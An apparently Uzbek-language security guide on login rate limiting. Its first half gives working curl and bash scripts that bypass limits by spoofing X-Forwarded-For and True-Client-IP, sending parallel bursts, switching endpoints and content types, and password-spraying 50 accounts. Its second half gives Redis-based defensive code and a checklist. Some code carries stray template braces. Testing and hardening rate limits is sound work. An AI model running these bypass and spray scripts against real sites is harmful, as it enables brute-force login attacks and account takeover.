Rate limit — parol urish, captcha yechish va API abuse'ni to'xtatadi. Uni chetlab o'tishda hujumchi minglab urishni bajaradi.

# 1) rate limit bormi?
curl -s -D- -o /dev/null -X POST https://site.uz/api/auth/login \
  -H "Content-Type: application/json" -d '{"email":"x@y.uz","password":"x"}' \
  | grep -iE "ratelimit|retry-after|x-r"

# 2) faqat xatolarda sanashni tekshirish
# 100 ta muvaffaqiyatli javob → sanovchi ishlayapti (normal)
for I in $(seq 1 12); do
  curl -s -o /dev/null -w "%{http_code} %{time_total}\n" -X POST \
    https://site.uz/api/auth/login -H "Content-Type: application/json" \
    -d '{"email":"yokyoq@site.uz","password":"x"}'
done

# 3) IP boshqaruvi
curl -s -o /dev/null -w "%{http_code}\n" -X POST https://site.uz/api/auth/login \
  -H "X-Forwarded-For: 1.2.3.4" -H "Content-Type: application/json" \
  -d '{"email":"x@y.uz","password":"x"}'
curl -s -o /dev/null -w "%{http_code}\n" -X POST https://site.uz/api/auth/login \
  -H "True-Client-IP: 5.6.7.8" -H "Content-Type: application/json" \
  -d '{"email":"x@y.uz","password":"x"}'

# 1) parallel urish (GNU parallel yoki xargs)
seq 1 200 | xargs -P 40 -I{{}} curl -s -o /dev/null -w "%{{http_code}}\n" \
  -X POST https://site.uz/api/auth/login \
  -H "Content-Type: application/json" \
  -d '{"email":"sinov@site.uz","password":"wrong"}' | sort | uniq -c

# 2) IP ni har safar o'zgartirish
for I in $(seq 1 30); do
  R=$(curl -s -o /dev/null -w "%{http_code}" -X POST https://site.uz/api/auth/login \
      -H "X-Forwarded-For: 10.0.0.$I" -H "Content-Type: application/json" \
      -d '{"email":"sinov@site.uz","password":"wrong"}')
  echo "  $R"
done | sort | uniq -c
# barchasi 401 → limit IP bo'yicha, XFF ishlatilmoqda = zaif

# 3) endpointlarni almashtirish
for EP in api/auth/login auth/login login admin/login api/login graphql login.php; do
  printf "  /%-18s %s\n" "$EP" "$(curl -s -o /dev/null -w '%{http_code}' \
     -X POST "https://site.uz/$EP" -H 'Content-Type: application/json' \
     -d '{"email":"sinov@site.uz","password":"x"}')"
done

# 4) har xil akkaunt (spray)
for I in $(seq 1 50); do
  curl -s -o /dev/null -X POST https://site.uz/api/auth/login \
    -H "Content-Type: application/json" \
    -d "{\"email\":\"u$I@site.uz\",\"password\":\"Parol123!\"}"
done
# 50 ta xato, bloklanmaganmi? email bo'yicha limit yo'q

# 5) Content-Type o'zgarishi
curl -s -o /dev/null -w "%{http_code}\n" -X POST https://site.uz/api/auth/login \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "email=sinov@site.uz&password=wrong"

# 6) boshqa port / protokol (same limit bormi?)
curl -s -o /dev/null -w "%{http_code}\n" http://site.uz/api/auth/login
curl -s -o /dev/null -w "%{http_code}\n" https://site.uz:20005/api/auth/login 2>/dev/null

# 7) timing — parallel ogohlantirish
for I in $(seq 1 30); do
  curl -s -o /dev/null -w "%{time_total}\n" -X POST https://site.uz/api/auth/login \
    -H "Content-Type: application/json" -d '{"email":"a@b.uz","password":"x"}' &
done | sort -n | tail -3

1. Ishonchli IP olish

// BEHIND o'z proksimiz (Cloudflare/nginx) bo'lsa XFF ishonchli
const ip = req.trustProxy ? req.ip : req.socket.remoteAddress;
app.set('trust proxy', 1);          // faqat 1 proksi bo'lsa

// yoki nginx da IPni "yopish" (o'zgartirib bo'lmaydigan)
proxy_set_header X-Real-IP $remote_addr;

2. Atomik sanovchi (race yo'q)

const key = `rl:login:${{ip}}:${{email}}`;
const n = await redis.incr(key);
if (n === 1) await redis.expire(key, 900);        // 15 daqiqa
if (n > 10) throw new TooMany();
if (ok) await redis.del(key);                      // muvaffaqiyatda tozala

3. Ikki o'lcham — IP va email

limit('ip',    {{ points: 30, duration: 900 }});   // butun IP
limit('email', {{ points: 10, duration: 900 }});   // bitta hisob
limit('global',{{ points: 500, duration: 60 }});   ]// DDoS

4. Javob sarlavhalari

res.set('Retry-After', '900');
res.set('X-RateLimit-Remaining', '0');

5. Progressive delay

// 1-3 urish: tez; 4-7: 1 sek; 8+: blok
const delay = n <= 3 ? 0 : n <= 7 ? 1000 : null;

• IP faqat ishonchli proksi orqali olinadi
• Redis/atomik sanovchi (parallel urishda ishlaydi)
• IP va email — ikkalasi ham limitlangan
• Muvaffaqiyatdan keyin sanovchi tozalanadi
• `429` + `Retry-After` qaytariladi
• Barcha kirish endpointlari bitta limitda
• X-Forwarded-For o'zgarishi bilan test qilindi